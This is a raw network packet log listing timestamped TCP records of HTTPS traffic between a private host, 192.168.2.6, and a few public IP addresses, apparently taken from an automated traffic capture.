Nov 28, 2024 00:19:25.872966051 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:25.872992992 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:25.873002052 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:25.873044014 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:25.873090029 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.059741974 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.059765100 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.059786081 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.059820890 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.059840918 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.059851885 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.059956074 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.065720081 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.065746069 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.065793037 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.065799952 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.065826893 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.065856934 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.115619898 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.115639925 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.115715027 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.115726948 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.115775108 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.253125906 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.253149986 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.253243923 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.253257990 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.253307104 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.283004999 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.283020020 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.283051968 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.283081055 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.283096075 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.283126116 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.283143044 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.283994913 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.284022093 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.284069061 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.284076929 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.284106016 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.284122944 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.304361105 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.304378033 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.304435015 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.304440975 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.304475069 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.304506063 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.326241016 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.326260090 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.326323032 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.326329947 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.326361895 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.326375008 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.367840052 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.367868900 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.367933989 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.367944956 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.368016958 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.453922033 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.453960896 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.454001904 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.454010010 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.454066992 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.470421076 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.470438957 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.470496893 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.470504045 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.470547915 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.480031967 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.480057955 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.480129004 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.480139971 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.480179071 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.480190039 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.486373901 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.486397028 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.486459017 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.486465931 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.486501932 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.486521006 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.500397921 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.500417948 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.500483036 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.500490904 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.500531912 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.515300989 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.515332937 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.515422106 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.515423059 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.515435934 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.515485048 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.517385960 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.517407894 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.517482042 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.517489910 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.517538071 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.531435966 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.531452894 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.531511068 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.531517029 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.531574011 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.534364939 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.534387112 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.534727097 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.534735918 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.534784079 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.547425985 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.547442913 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.547509909 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.547518015 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.547558069 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.556185007 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.556205988 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.556247950 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.556257963 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.556291103 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.556303978 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.648859978 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.648880959 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.648936033 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.648945093 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.648981094 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.649008989 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.661289930 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.661309958 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.661374092 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.661381006 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.661422014 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.673511028 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.673528910 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.673582077 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.673588037 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.673799038 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.680413008 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.680461884 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.680507898 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.680516958 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.680546999 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.680557966 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.685162067 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.685189009 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.685255051 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.685261965 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.685318947 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.694767952 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.694794893 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.694890976 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.694890976 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.694901943 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.695070028 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.697824955 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.697849035 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.697906017 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.697916985 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.697942972 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.697962046 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.705113888 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.705151081 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.705226898 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.705234051 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.705277920 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.712064028 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.712085009 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.712169886 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.712179899 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.712196112 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.713890076 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.716198921 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.716216087 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.716289997 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.716296911 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.716331959 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.727061033 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.727077961 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.727129936 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.727137089 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.727190971 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.728661060 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.728682041 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.728739977 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.728748083 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.728804111 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.745187044 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.745210886 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.745268106 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.745275974 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.745311022 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.745331049 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.760606050 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.760623932 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.760680914 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.760689020 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.760725021 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.760734081 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.851793051 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.851821899 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.851876020 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.851886034 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.851933956 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.851953983 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.859117031 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.859133005 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.859198093 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.859205961 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.859302044 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.867127895 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.867145061 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.867347002 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.867355108 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.867399931 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.875174046 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.875190020 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.875245094 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.875252008 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.875294924 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.882333994 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.882349968 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.882416964 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.882425070 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.882461071 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.882844925 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.882875919 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.882921934 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.882936001 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.882960081 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.882976055 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.890732050 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.890748978 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.890811920 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.890819073 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.890877008 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.894675970 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.894701004 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.894750118 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.894761086 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.894798994 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.894813061 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.897806883 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.897825956 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.897870064 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.897877932 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.897908926 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.897931099 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.898736954 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:26.899233103 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:26.899245024 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:26.899692059 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:26.899697065 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:26.905261993 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.905278921 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.905324936 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.905333996 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.905364037 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.905376911 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.905806065 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.905826092 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.905875921 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.905883074 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.905910969 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.905926943 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.916786909 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.916804075 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.916872978 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.916882992 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.916939974 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.928476095 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.928492069 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.928548098 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.928570032 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.928637028 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.939421892 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.939438105 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.939495087 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.939505100 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.939604044 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.951164961 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.951184034 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.951230049 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.951239109 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.951282978 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.951303959 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.958429098 CET	443	49748	4.245.163.56	192.168.2.6
Nov 28, 2024 00:19:26.958498955 CET	49748	443	192.168.2.6	4.245.163.56
Nov 28, 2024 00:19:26.960417986 CET	49748	443	192.168.2.6	4.245.163.56
Nov 28, 2024 00:19:26.960429907 CET	443	49748	4.245.163.56	192.168.2.6
Nov 28, 2024 00:19:26.960664034 CET	443	49748	4.245.163.56	192.168.2.6
Nov 28, 2024 00:19:26.961247921 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.961272001 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.961323023 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.961333036 CET	443	49746	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:26.961354971 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.961376905 CET	49746	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:26.993601084 CET	443	49750	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:26.994219065 CET	49750	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:26.994230032 CET	443	49750	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:26.994781017 CET	49750	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:26.994785070 CET	443	49750	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.002370119 CET	443	49749	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.002877951 CET	49749	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.002897024 CET	443	49749	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.003334045 CET	49749	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.003338099 CET	443	49749	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.015419006 CET	49748	443	192.168.2.6	4.245.163.56
Nov 28, 2024 00:19:27.020390987 CET	443	49754	20.234.120.54	192.168.2.6
Nov 28, 2024 00:19:27.020725012 CET	49754	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:27.026920080 CET	49754	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:27.026932955 CET	443	49754	20.234.120.54	192.168.2.6
Nov 28, 2024 00:19:27.027307034 CET	49754	443	192.168.2.6	20.234.120.54
Nov 28, 2024 00:19:27.027319908 CET	443	49754	20.234.120.54	192.168.2.6
Nov 28, 2024 00:19:27.040252924 CET	49748	443	192.168.2.6	4.245.163.56
Nov 28, 2024 00:19:27.041399002 CET	443	49751	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.052654028 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.052681923 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.052738905 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.052747011 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.052803040 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.060699940 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.060717106 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.060771942 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.060779095 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.060817003 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.060842037 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.067625046 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.067648888 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.067683935 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.067692041 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.067750931 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.075630903 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.075645924 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.075715065 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.075721979 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.075736046 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.075786114 CET	49745	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:27.076560020 CET	49751	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.076570988 CET	443	49751	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.077058077 CET	49751	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:27.077063084 CET	443	49751	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:27.083340883 CET	443	49748	4.245.163.56	192.168.2.6
Nov 28, 2024 00:19:27.083686113 CET	443	49745	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:27.083702087 CET	443	49745	150.171.27.10	192.168.2.6
